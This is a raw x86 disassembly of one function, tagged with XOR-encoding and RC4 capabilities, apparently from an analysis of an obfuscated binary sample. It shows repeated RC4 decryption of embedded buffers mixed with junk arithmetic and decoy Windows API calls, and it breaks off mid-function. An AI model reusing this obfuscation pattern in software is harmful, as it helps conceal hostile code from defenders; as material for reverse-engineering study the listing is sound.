Function at 0x417fee
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108c
mov al, byte [str.threadId]
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], edx
push 9
mov dword [ebp - 0x80], ecx
mov esi, str.threadId
mov ecx, ebx
pop edx
jmp 0x418023
sub al, 0x30
cmp al, dl
ja 0x418212
inc esi
mov al, byte [esi]
test al, al
jne 0x418016
mov eax, dword [0x44d564]
and eax, 0xd1deff27
mov dword [ebp - 0x16c], edx
mov dword [0x44d564], eax
mov eax, ebx
mov dword [ebp - 0x168], 0x28
mov dword [ebp - 0x164], 0xffffffcf
sub ecx, dword [ebp + eax*4 - 0x16c]
inc eax
cmp eax, 3
jl 0x418052
push 0x23
mov dword [ebp - 0xd4], ecx
mov eax, ebx
pop ecx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], 0xffffffd4
add ecx, dword [ebp + eax*4 - 0x168]
inc eax
cmp eax, 2
jl 0x41807a
mov eax, ebx
mov dword [ebp - 0x2b4], ecx
cmp byte [0x44d58c], al
je 0x4180ab
inc eax
cmp eax, 0x2676
jl 0x418221
cmp byte [eax + 0x44d58c], bl
jne 0x418097
mov eax, dword [0x44d5b4]
xor eax, 0xf2fcb496
mov dword [ebp - 0x68], 0x14
mov dword [ebp - 0x38], eax
mov ecx, ebx
mov dword [0x44d5b4], eax
mov eax, ebx
mov dword [ebp - 0x64], 0x61
mov dword [ebp - 0x60], 0xffffff8b
sub ecx, dword [ebp + eax*4 - 0x68]
inc eax
cmp eax, 3
jl 0x4180d6
push 0xe
pop eax
push 5
mov dword [ebp - 0x2bc], ecx
mov ecx, eax
pop edx
mov dword [ebp - 0x4c], 0x25
mov eax, ebx
mov dword [ebp - 0x48], 0x42
mov dword [ebp - 0x44], 0x3f
mov dword [ebp - 0x40], 0x10
mov dword [ebp - 0x3c], 0xffffff57
mov dword [ebp - 0x60], edx
sub ecx, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, edx
jl 0x418116
mov esi, 0x4016e4
mov dword [ebp - 0x2b8], ecx
lea edi, [ebp - 0x18]
mov dword [ebp - 0x30], 0xeb79ef66
mov dword [ebp - 0x2c], 0x4f1dcbc5
mov eax, ebx
mov dword [ebp - 0x28], 0x1fe252c2
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x24], 0x8acefed8
mov dword [ebp - 0x20], 0x8224a3a9
mov dword [ebp - 0x1c], 0x47fdf866
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x41815e
mov esi, ebx
mov dl, byte [ebp + esi - 0x290]
mov eax, esi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x18]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], dl
cmp esi, 0x100
jb 0x41816f
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0x30]
mov byte [ebp + esi - 0x774], al
inc esi
cmp esi, 0x18
jb 0x4181ac
movzx eax, byte [0x44d58c]
mov edx, 0x43a
push 0
mov ecx, 0x44d58c
pop ebx
jmp 0x418243
mov eax, dword [0x44d564]
sub eax, 0x6562662a
jmp 0x41802c
call fcn.0041555f
mov eax, dword [0x44d564]
and eax, 0xaa9bbac7
jmp 0x4180b0
add edx, eax
inc ecx
cmp edx, 0xf9b
ja 0x418256
movzx eax, byte [ecx]
test eax, eax
jne 0x418235
mov eax, dword [ebp - 0x38]
add eax, 0xc9a51d0
mov dword [0x44d5b4], eax
jmp 0x418259
mov eax, dword [ebp - 0x38]
add eax, 0x8bf7eed2
mov dword [0x44d564], eax
call fcn.0041555f
movzx eax, byte [str.threadId]
lea edi, [ebp - 0x2c8]
mov esi, 0x401ee0
mov byte [ebp - 0x75c], bl
mov dword [ebp - 0x14], 0xfbd488a5
mov edx, 0x44b
mov word [ebp - 0x10], 0xa3e3
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.threadId
mov ecx, esi
jmp 0x4182ac
add edx, eax
inc ecx
cmp edx, 0x26be
ja 0x4182b2
movzx eax, byte [ecx]
test eax, eax
jne 0x41829e
jmp 0x4182d6
push esi
mov edx, esi
call fcn.00415428
mov eax, dword [0x44d564]
mov edx, 0x44d58c
xor eax, 0x7bf2f76c
push esi
mov dword [0x44d5b4], eax
call fcn.00415428
pop ecx
pop ecx
mov esi, dword [0x44d564]
mov eax, ebx
and esi, 0x6d9e4e1b
mov dword [ebp - 0x34], esi
mov dword [0x44d564], esi
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x4182ed
push 0xb
mov edi, ebx
mov esi, ebx
pop ecx
xor edx, edx
mov bl, byte [ebp + edi - 0x290]
mov eax, edi
div ecx
movzx ecx, bl
push 0xb
movzx eax, byte [ebp + edx - 0x2c8]
add eax, esi
add ecx, eax
movzx esi, cl
pop ecx
mov al, byte [ebp + esi - 0x290]
mov byte [ebp + edi - 0x290], al
inc edi
mov byte [ebp + esi - 0x290], bl
cmp edi, 0x100
jb 0x418303
mov esi, dword [ebp - 0x34]
xor ebx, ebx
and esi, 0xb4f824a5
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x34], esi
mov edi, ebx
mov dword [0x44d5b4], esi
mov esi, ebx
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0xc]
mov cl, byte [ebp + esi - 0x290]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x290]
mov byte [ebp + esi - 0x290], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x290], cl
movzx eax, byte [ebp + esi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + edi - 0x14]
mov byte [ebp + edi - 0x324], al
inc edi
cmp edi, 6
jb 0x41835e
mov esi, dword [ebp - 0x34]
mov ecx, ebx
push 0x14
pop eax
push 5
mov dword [ebp - 0x44], eax
mov eax, ebx
mov byte [ebp - 0x31e], bl
mov dword [ebp - 0x4c], 0x51
mov dword [ebp - 0x48], 0x2e
mov dword [ebp - 0x40], 0x45
mov dword [ebp - 0x3c], 0xffffff28
pop edx
sub ecx, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, edx
jl 0x4183e8
mov dword [ebp - 0x2d8], ecx
mov eax, ebx
mov ecx, ebx
mov dword [ebp - 0x18], 0x3a
mov dword [ebp - 0x14], 0x3e
mov dword [ebp - 0x10], 0xffffff88
sub ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x418410
mov al, byte [0x44d58c]
mov dword [ebp - 0x2d4], ecx
mov ecx, ebx
mov dword [ebp - 0x14], 0x3d
mov dword [ebp - 0x10], 0xffffff83
push 0x40
pop edx
mov dword [ebp - 0x38], edx
test al, al
je 0x418454
inc ecx
cmp ecx, 0xc0d
je 0x4184d3
cmp byte [ecx + 0x44d58c], bl
jne 0x41843f
mov edi, 0x44d58c
or esi, 0xdc7d0a79
mov dword [0x44d5b4], esi
mov ecx, ebx
add edx, dword [ebp + ecx*4 - 0x14]
inc ecx
cmp ecx, 2
jl 0x418467
mov dword [ebp - 0x78], 0x63
xorps xmm1, xmm1
mov dword [ebp - 0x74], 0x58
mov ecx, edi
mov dword [ebp - 0x70], 0x4f
mov dword [ebp - 0x6c], 0xfffffef6
mov dword [ebp - 0x38], edx
movups xmm0, xmmword [ebp - 0x78]
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [ebp - 0x2d0], xmm1
test al, al
je 0x418516
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x41850a
inc ecx
mov al, byte [ecx]
test al, al
jne 0x4184c4
jmp 0x418516
mov edi, 0x44d58c
push edi
mov edx, edi
call fcn.00415428
sub dword [0x44d564], 0x776d89ab
pop ecx
push dword [0x44d5b4]
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov al, byte [0x44d58c]
mov esi, dword [0x44d5b4]
mov edx, dword [ebp - 0x38]
jmp 0x418459
add esi, 0x4c5280ff
mov dword [0x44d5b4], esi
lea eax, [esi + 0x169357d]
mov edx, edi
push str.threadId
mov dword [0x44d564], eax
call fcn.00415428
pop ecx
push 5
mov ecx, ebx
mov dword [ebp - 0x4c], 0x4c
mov dword [ebp - 0x48], 0x60
mov eax, ebx
mov dword [ebp - 0x44], 0x12
mov dword [ebp - 0x40], 0xc
mov dword [ebp - 0x3c], 0xffffff36
pop edx
sub ecx, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, edx
jl 0x418558
push 0x12
pop eax
mov dword [ebp - 0x2cc], ecx
mov ecx, eax
push 2
mov dword [ebp - 0x14], edx
mov eax, ebx
mov dword [ebp - 0x10], 0xffffffe9
pop esi
add ecx, dword [ebp + eax*4 - 0x14]
inc eax
cmp eax, esi
jl 0x41857b
movzx eax, byte [0x44d58c]
xorps xmm1, xmm1
mov dword [ebp - 0x78], 0x35
mov edx, 0xf7d
mov dword [ebp - 0x74], 0x32
mov dword [ebp - 0x70], 0x3d
mov dword [ebp - 0x6c], 0xffffff5c
mov dword [ebp - 0x2ac], ecx
mov ecx, edi
movups xmm0, xmmword [ebp - 0x78]
mov dword [ebp - 0x78], 0x39
mov dword [ebp - 0x74], 0x58
mov dword [ebp - 0x70], 0xf
psubd xmm1, xmm0
mov dword [ebp - 0x6c], 0xffffff60
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [ebp - 0x294], xmm1
test eax, eax
je 0x418627
add edx, eax
inc ecx
cmp edx, 0xb15
ja 0x418613
movzx eax, byte [ecx]
test eax, eax
jne 0x4185ff
jmp 0x41862c
call fcn.0041555f
mov eax, dword [0x44d5b4]
add eax, 0xdf20c803
mov dword [0x44d564], eax
call fcn.0041555f
mov eax, dword [0x44d564]
xor eax, 0xa11c430d
mov dword [0x44d5b4], eax
add eax, 0x1f1f468d
mov dword [0x44d564], eax
call fcn.0041555f
movups xmm0, xmmword [ebp - 0x78]
mov al, byte [0x44d58c]
mov ecx, edi
xorps xmm1, xmm1
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [ebp - 0x184], xmm1
test al, al
je 0x4186a7
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x418692
inc ecx
mov al, byte [ecx]
test al, al
jne 0x418683
jmp 0x4186a7
mov eax, dword [0x44d5b4]
and eax, 0x8d33da8a
mov dword [0x44d564], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [0x44d5b4]
add eax, 0xfa826094
push 0x2323
mov dword [0x44d564], eax
call dword [sym.imp.USER32.dll_IsWindow]
xorps xmm1, xmm1
mov dword [ebp - 0x74], esi
mov esi, ebx
mov dword [ebp - 0x70], 0x17
push 0x2d
pop edi
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x6c], 0xffffffba
movups xmm0, xmmword [ebp - 0x78]
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [ebp - 0x17c], xmm1
cmp byte [0x44d58c], bl
je 0x41874a
inc esi
cmp esi, 0xa6
jg 0x418720
cmp byte [esi + 0x44d58c], bl
jne 0x41870d
jmp 0x41874a
mov eax, 0x44d58c
push eax
mov edx, eax
call fcn.00415428
imul eax, dword [0x44d564], 0x7780e051
pop ecx
mov dword [0x44d564], eax
cmp esi, 0xc43
jle 0x41874a
call fcn.0041555f
mov ecx, dword [0x44d5b4]
mov eax, ebx
xor ecx, 0x26c95512
mov dword [ebp - 0x18], 0x24
push 0xf
mov dword [ebp - 0x34], ecx
pop edx
mov dword [ebp - 0x14], 0x44
mov dword [ebp - 0x10], 0xffffff89
add edx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x418773
mov dword [ebp - 0x174], edx
mov eax, ebx
mov edx, ebx
mov dword [ebp - 0x18], 0x37
mov dword [ebp - 0x14], 0x4e
mov dword [ebp - 0x10], 0xffffff7b
sub edx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x41879c
push 8
mov dword [ebp - 0x158], edx
mov eax, ebx
pop edx
mov dword [ebp - 0x18], 0x48
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0xffffffa5
sub edx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x4187c6
push 0x12
pop eax
push 0x52
pop esi
mov dword [ebp - 0xdc], edx
add ecx, 0x8c7bf73
mov dword [ebp - 0x4c], eax
mov edx, 0x800
mov dword [ebp - 0x48], 0x48
mov eax, ebx
mov dword [ebp - 0x44], 0xd
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], 0x647
sub edx, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, 5
jl 0x418804
mov dword [ebp - 0x78], 0x1f
mov dword [ebp - 0x74], 0x60
mov dword [ebp - 0x70], 0x3c
mov dword [ebp - 0x6c], 0xfffffef3
movups xmm1, xmmword [ebp - 0x78]
push 5
mov dword [ebp - 0x160], edx
mov edx, ebx
movaps xmm0, xmm1
mov dword [ebp - 0x4c], 0x38
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x48], 0x55
movups xmm0, xmm1
mov dword [ebp - 0x44], edi
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [ebp - 0x40], 0x59
movd eax, xmm1
mov dword [ebp - 0x3c], 0xfffffeed
add eax, esi
mov dword [ebp - 0xe4], eax
mov eax, ebx
pop esi
sub edx, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, esi
jl 0x41887e
push 0x17
pop esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], 6
mov dword [ebp - 0x70], 0x27
mov dword [ebp - 0x6c], 0xffffff8f
movups xmm1, xmmword [ebp - 0x78]
mov dword [ebp - 0x78], 0x57
mov dword [ebp - 0x74], 0x4c
movaps xmm0, xmm1
mov dword [ebp - 0x70], 0x51
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x6c], 0xfffffeaf
movups xmm0, xmm1
mov dword [ebp - 0xec], edx
psrldq xmm0, 4
mov edx, ebx
paddd xmm1, xmm0
mov dword [ebp - 0x4c], 0x5e
movd eax, xmm1
movups xmm1, xmmword [ebp - 0x78]
push 0x1d
add eax, edi
mov dword [ebp - 0x48], 0x58
movaps xmm0, xmm1
mov dword [ebp - 0x130], eax
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x44], 0x20
movups xmm0, xmm1
mov dword [ebp - 0x3c], 0xffffff0d
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x5d
mov dword [ebp - 0x138], eax
imul eax, ecx, 0x7700c0
pop ecx
push 5
mov dword [ebp - 0x40], ecx
pop edi
mov dword [ebp - 0x58], eax
mov dword [0x44d5b4], eax
mov eax, ebx
sub edx, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, edi
jl 0x41894c
mov dword [ebp - 0x74], ecx
mov ecx, ebx
mov dword [ebp - 0x78], 0x60
mov dword [ebp - 0x70], 8
mov dword [ebp - 0x6c], 0xffffff75
movups xmm1, xmmword [ebp - 0x78]
push 6
mov dword [ebp - 0x13c], edx
movaps xmm0, xmm1
mov dword [ebp - 0x18], 0x13
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x14], 0x49
movups xmm0, xmm1
mov dword [ebp - 0x10], 0xffffffa4
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop edx
add eax, edx
mov dword [ebp - 0x140], eax
mov eax, ebx
sub ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x4189b7
mov dword [ebp - 0x74], esi
lea edi, [ebp - 0x104]
mov esi, 0x401eec
mov dword [ebp - 0x78], 0x3b
mov dword [ebp - 0x70], edx
xorps xmm1, xmm1
mov dword [ebp - 0x6c], 0xffffffa8
movups xmm0, xmmword [ebp - 0x78]
movsd dword es:[edi], dword [esi]
push 9
psubd xmm1, xmm0
mov dword [ebp - 0x144], ecx
movaps xmm0, xmm1
mov dword [ebp - 0x30], 0x7edbb74d
movsd dword es:[edi], dword [esi]
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x2c], 0xd391b90a
movups xmm0, xmm1
mov dword [ebp - 0x28], 0x4cbed2f1
movsd dword es:[edi], dword [esi]
psrldq xmm0, 4
pop eax
paddd xmm1, xmm0
mov byte [ebp - 0x21], al
movsd dword es:[edi], dword [esi]
mov eax, ebx
movd dword [ebp - 0x148], xmm1
mov word [ebp - 0x24], 0x9984
mov byte [ebp - 0x22], 0xbe
movsw word es:[edi], word [esi]
mov dword [ebp - 0x20], 0x574120b8
mov dword [ebp - 0x1c], 0x7e96cda9
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x418a4f
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
push 0x12
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x104]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x418a60
mov ecx, dword [ebp - 0x58]
xor ebx, ebx
mov edx, ebx
mov edi, ebx
mov esi, ebx
mov ebx, dword [ebp - 0x34]
lea eax, [edi + 1]
movzx edi, al
mov al, byte [ebp + edi - 0x290]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x34], eax
add eax, edx
movzx eax, al
mov edx, 0x44d58c
mov dword [ebp - 0x58], eax
mov al, byte [0x44d58c]
jmp 0x418ae1
sub al, 0x30
cmp al, 9
ja 0x418ae7
inc edx
mov al, byte [edx]
test al, al
jne 0x418ad8
jmp 0x418af5
mov ecx, ebx
xor ecx, 0xa8f72bdc
mov dword [0x44d5b4], ecx
xor ecx, 0x7f308a1
mov edx, 0x44d58c
push str.threadId
mov dword [0x44d564], ecx
call fcn.00415428
mov edx, dword [ebp - 0x58]
pop ecx
mov al, byte [ebp + edx - 0x290]
mov byte [ebp + edi - 0x290], al
mov al, byte [ebp - 1]
mov byte [ebp + edx - 0x290], al
movzx eax, byte [ebp + edi - 0x290]
add eax, dword [ebp - 0x34]
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0x30]
mov byte [ebp + esi - 0x790], al
inc esi
cmp esi, 0x18
jae 0x418b63
mov ebx, dword [0x44d564]
mov ecx, dword [0x44d5b4]
jmp 0x418aae
mov eax, dword [0x44d5b4]
lea edi, [ebp - 0x12c]
mov esi, 0x401608
mov dword [ebp - 0x14], 0x91a3d8de
xor ebx, ebx
mov word [ebp - 0x10], 0x23bf
add eax, 0x8e2a3d3c
mov byte [ebp - 0x778], bl
mov dword [ebp - 0xc], eax
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x418b97
mov esi, ebx
mov dl, byte [ebp + esi - 0x290]
mov eax, esi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x12c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], dl
cmp esi, 0x100
jb 0x418ba8
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov esi, ebx
mov ebx, dword [0x44d5b4]
lea eax, [edi + 1]
movzx edi, al
and ebx, 0x57737daf
mov eax, dword [ebp - 0x34]
mov dword [0x44d5b4], ebx
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x34], eax
mov al, byte [ebp + eax - 0x290]
mov byte [ebp + edi - 0x290], al
mov eax, dword [ebp - 0x34]
mov byte [ebp + eax - 0x290], cl
mov ecx, 0x44d58c
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
mov edx, 0x87f
movzx eax, al
mov al, byte [ebp + eax - 0x290]
mov byte [ebp - 1], al
movzx eax, byte [0x44d58c]
jmp 0x418c68
add edx, eax
inc ecx
cmp edx, 0x1896
ja 0x418c6e
movzx eax, byte [ecx]
test eax, eax
jne 0x418c5a
jmp 0x418c92
mov eax, dword [ebp - 0xc]
and eax, 0x6023b60d
mov dword [0x44d564], eax
call fcn.0041555f
mov ebx, dword [0x44d5b4]
sub ebx, 0x206838d2
mov dword [0x44d5b4], ebx
imul eax, ebx, 0x9f6097e1
mov edx, str.threadId
push 0x44d58c
mov dword [0x44d564], eax
call fcn.00415428
mov al, byte [ebp + esi - 0x14]
xor al, byte [ebp - 1]
mov byte [ebp + esi - 0x31c], al
inc esi
pop ecx
cmp esi, 6
jae 0x418cce
mov eax, dword [0x44d564]
mov dword [ebp - 0xc], eax
jmp 0x418beb
xor ebx, ebx
mov byte [ebp - 0x316], bl
mov ecx, dword [0x44d564]
mov eax, ecx
xor eax, 0x784d8ce9
mov dword [0x44d5b4], eax
or ecx, 0x903e0c3c
mov dword [0x44d564], ecx
call fcn.0041555f
mov edi, ebx
mov dword [ebp - 0x78], 2
mov dword [ebp - 0x74], 3
mov esi, ebx
mov dword [ebp - 0x70], 0x16
mov dword [ebp - 0x6c], 0xffffffe5
mov eax, ebx
cmp byte [0x44d58c], al
je 0x418d3f
inc eax
cmp eax, 0x1663
jl 0x418d35
cmp byte [eax + 0x44d58c], bl
jne 0x418d23
jmp 0x418d3f
or dword [0x44d5b4], 0x39f7a290
mov eax, dword [0x44d5b4]
xor eax, 0x8f31eb49
mov dword [0x44d564], eax
call fcn.0041555f
sub edi, dword [ebp + esi*4 - 0x78]
inc esi
cmp esi, 4
jl 0x418d19
push 5
mov dword [ebp - 0x128], edi
mov ecx, ebx
mov dword [ebp - 0x4c], 0x43
mov eax, ebx
mov dword [ebp - 0x48], 0x34
mov dword [ebp - 0x44], 0x37
mov dword [ebp - 0x40], 0x5b
mov dword [ebp - 0x3c], 0xfffffef7
pop edi
sub ecx, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, edi
jl 0x418d8d
mov dword [ebp - 0x304], 0x32
xorps xmm1, xmm1
mov dword [ebp - 0x300], 0x5d
mov esi, 0x80
mov dword [ebp - 0x2fc], 0x21
mov dword [ebp - 0x2f8], 0xffffff5c
movups xmm0, xmmword [ebp - 0x304]
mov dword [ebp - 0x120], ecx
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0xd
mov dword [ebp - 0x118], eax
mov eax, ebx
cmp byte [str.threadId], al
je 0x418e22
inc eax
cmp eax, 0x1af1
jl 0x418e18
cmp byte [eax + str.threadId], bl
jne 0x418e06
jmp 0x418e22
and dword [0x44d5b4], 0xbfa8c2fd
imul eax, dword [0x44d5b4], 0x3d603c5
mov ecx, 0xd73ff5cd
sub ecx, eax
mov dword [0x44d564], ecx
call fcn.0041555f
push 0x12
pop eax
mov dword [ebp - 0x4c], eax
mov eax, ebx
mov dword [ebp - 0x48], 0x1d
mov dword [ebp - 0x44], 0x1f
mov dword [ebp - 0x40], 0x2b
mov dword [ebp - 0x3c], 0xfffffff7
sub esi, dword [ebp + eax*4 - 0x4c]
inc eax
cmp eax, edi
jl 0x418e62
mov dword [ebp - 0x150], esi
mov ecx, ebx
mov dword [ebp - 0x18], 0xf
mov eax, ebx
mov dword [ebp - 0x14], 0x42
mov dword [ebp - 0x10], 0xffffffaf
sub ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x418e8a
mov dword [ebp - 0x14c], ecx
push 0x3a
mov dword [ebp - 0x14], 0x50
mov eax, ebx
mov dword [ebp - 0x10], 0xffffff76
pop ecx
add ecx, dword [ebp + eax*4 - 0x14]
inc eax
cmp eax, 2
jl 0x418ead
push 0x30
mov dword [ebp - 0x134], ecx
mov eax, ebx
pop ecx
mov dword [ebp - 0x18], 0x43
mov dword [ebp - 0x14], 0x25
mov dword [ebp - 0x10], 0xffffff68
add ecx, dword [ebp + eax*4 - 0x18]
inc eax
cmp eax, 3
jl 0x418ed7
mov eax, dword [0x401f00]
mov edi, ebx
mov dword [ebp - 0x58], eax
mov ax, word [0x401f04]
mov word [ebp - 0x54], ax
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x30], 0x9452d52b
mov dword [ebp - 0x2c], 0x53a55d47
mov dword [ebp - 0x28], 0xdec30f96
mov dword [ebp - 0x24], 0xac83d94c
mov dword [ebp - 0x20], 0xc2687b9c
mov dword [ebp - 0x1c], 0xea790834
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x418f24
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
push 5
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x418f35
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [0x44d5b4]
xor eax, 0xe20070d4
mov dword [0x44d564], eax
mov eax, str.threadId
push eax
mov edx, eax
call fcn.00415428
pop ecx
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0x30]
mov byte [ebp + esi - 0x7ac], al
inc esi
cmp esi, 0x18
jb 0x418f78
push 5
pop eax
mov ecx, eax
mov dword [ebp - 0xc], 0x9a06d986
mov esi, 0x401f08
mov word [ebp - 8], 0x58f9
lea edi, [ebp - 0x30]
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x794], bl
mov eax, ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x419010
mov eax, dword [0x44d5b4]
mov esi, ebx
and eax, 0x92e5135c
mov dword [ebp - 0x34], eax
mov dword [0x44d564], eax
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
push 0x16
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x30]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x419033
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x290]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x290]
mov byte [ebp + edi - 0x290], al
mov byte [ebp + ebx - 0x290], cl
movzx eax, byte [ebp + edi - 0x290]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x290]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x30c], al
inc esi
cmp esi, 6
jb 0x419076
push 5
pop eax
mov ecx, eax
mov dword [ebp - 0x98], 0x1e5af696
mov esi, 0x4015f0
mov dword [ebp - 0x94], 0x7e80f82
lea edi, [ebp - 0x30]
mov dword [ebp - 0x90], 0x4da5359f
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov dword [ebp - 0x8c], 0x73c7a065
mov byte [ebp - 0x306], bl
mov eax, ebx
mov dword [ebp - 0x88], 0xb16204f5
movsw word es:[edi], word [esi]
mov dword [ebp - 0x84], 0x2aeac24c
mov edi, ebx
mov byte [ebp + eax - 0x290], al
inc eax
cmp eax, 0x100
jb 0x41911f
push 0x15
mov esi, ebx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x290]
mov eax, esi
div ecx
movzx ecx, bl
push 0x15
movzx eax, byte [ebp + edx - 0x30]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x290]
mov byte [ebp + esi - 0x290], al
inc esi
mov byte [ebp + edi - 0x290], bl
cmp esi, 0x100
jb 0x419133
mov eax, dword [ebp - 0x34]
